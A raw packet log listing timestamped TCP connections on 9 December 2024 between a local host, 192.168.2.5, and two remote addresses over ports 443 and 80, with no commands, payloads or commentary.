Dec 9, 2024 15:29:05.765185118 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.765491009 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.765501022 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:05.843903065 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.843943119 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:05.844033003 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.844475031 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.844525099 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:05.844584942 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.844791889 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.844810963 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:05.845066071 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.845077991 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:05.904596090 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.904634953 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:05.904711962 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.904932976 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:05.904947042 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.464721918 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.465611935 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.465640068 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.466666937 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.466727972 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.467854023 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.467921972 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.468081951 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.468089104 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.513845921 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.538831949 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.539165974 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.539177895 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.540301085 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.540393114 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.540755987 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.540821075 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.540951014 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.540956974 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.546226025 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.546561956 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.546591997 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.547703028 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.547776937 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.548082113 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.548160076 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.548230886 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.548239946 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.577893972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:07.578089952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:07.591660976 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.591661930 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.597618103 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.597913027 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.597925901 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.598974943 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.599035025 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.599332094 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.599406004 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.652494907 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:07.652504921 CET	443	49711	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:07.699822903 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.312691927 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.313294888 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.313361883 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.313374996 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.314918041 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.314990997 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.314997911 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.320740938 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.320828915 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.320914984 CET	49708	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.320925951 CET	443	49708	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.393683910 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.393934011 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.394013882 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.394819975 CET	49710	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.394834042 CET	443	49710	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.394901991 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.394942999 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.395023108 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.395039082 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.398050070 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.398108959 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.398117065 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.403688908 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.403759956 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.403769016 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.416285038 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.416368008 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.416374922 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.429594040 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.429682970 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.429689884 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.479393005 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.479409933 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.529923916 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.581162930 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.587100029 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.587167978 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.587182999 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.598598957 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.598678112 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.598687887 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.607193947 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.607286930 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.607295990 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.617888927 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.617970943 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.617980003 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.631443977 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.631530046 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.631540060 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.645520926 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.645602942 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.645610094 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.658790112 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.658871889 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.658879995 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.671798944 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.671860933 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.671868086 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.700781107 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.700875998 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.700889111 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.700917006 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.701083899 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.704915047 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.707757950 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.707822084 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.707829952 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.756865025 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.774296999 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.776930094 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.777046919 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.777055979 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.785011053 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.785077095 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.785085917 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.792335987 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.792437077 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.792452097 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.799401999 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.799534082 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.799546957 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.810194969 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.810327053 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.810340881 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.822604895 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.822688103 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.822695971 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.833806992 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.833883047 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.833890915 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.844764948 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.844852924 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.844861031 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.855082035 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.855154037 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.855161905 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.866189957 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.866244078 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.866255045 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.878094912 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.878155947 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.878164053 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.886936903 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.887011051 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.887022972 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.897104979 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.897181988 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.897190094 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.906930923 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.907018900 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.907026052 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.916156054 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.916238070 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.916244984 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.925863981 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.925942898 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.925950050 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.936820984 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.936852932 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.937100887 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.937109947 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.937164068 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.944191933 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.951508045 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.951580048 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.951590061 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.951884985 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.951967001 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.951972961 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.959816933 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.959883928 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.959889889 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.970891953 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.970976114 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.970983028 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.975883961 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.975945950 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.975951910 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.980122089 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.980196953 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.980202913 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.985140085 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.985203981 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.985209942 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.991590023 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.991656065 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.991672039 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.995419979 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:08.995495081 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:08.995501995 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.000741959 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.000798941 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.000807047 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.008148909 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.008228064 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.008236885 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.014228106 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.014329910 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.014337063 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.016901970 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.016963005 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.016968966 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.024554014 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.024616957 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.024625063 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.025358915 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.025434017 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.025439978 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.025612116 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:09.025656939 CET	443	49709	172.217.21.36	192.168.2.5
Dec 9, 2024 15:29:09.025713921 CET	49709	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:11.094866037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:11.095149040 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:11.214519978 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:11.214720964 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:11.215028048 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:11.215028048 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:11.334976912 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:13.049772978 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:13.049834013 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:13.326459885 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:13.394372940 CET	49711	443	192.168.2.5	172.217.21.36
Dec 9, 2024 15:29:13.446175098 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:14.266177893 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:14.266243935 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:19.268814087 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:19.268965006 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:26.529814959 CET	49726	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:26.530081034 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:26.652448893 CET	80	49726	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:26.652472019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:26.652642012 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:26.652858019 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:26.826688051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:28.521001101 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:28.521151066 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:28.854967117 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:28.974339008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.313637018 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.313654900 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.313715935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.317624092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.317645073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.317679882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.317697048 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.321311951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.321326971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.321374893 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.321402073 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.325459957 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.325474024 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.325504065 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.325521946 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.329377890 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.329391956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.329402924 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.329436064 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.329456091 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.433306932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.433449984 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.494148970 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.494741917 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.494910955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.500658989 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.500744104 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.502111912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.502171993 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.506856918 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.506925106 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.507472992 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.507551908 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.515382051 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.515440941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.516680002 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.516735077 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.524116039 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.524180889 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.524760962 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.524816036 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.532470942 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.533200979 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.533282042 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.541065931 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.541790009 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.541867018 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.549582005 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.551073074 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.551163912 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.558276892 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.558999062 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.559118032 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.566931009 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.567599058 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.567706108 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.575506926 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.576131105 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.576237917 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.583960056 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.585886955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.694974899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.695609093 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.695753098 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.699006081 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.699726105 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.699996948 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.707669973 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.708415985 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.708514929 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.716183901 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.716281891 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.716896057 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.716953993 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.720931053 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.721651077 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.721748114 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:29.725310087 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.726010084 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:29.726145983 CET	49767	80	192.168.2.5	185.215.113.206
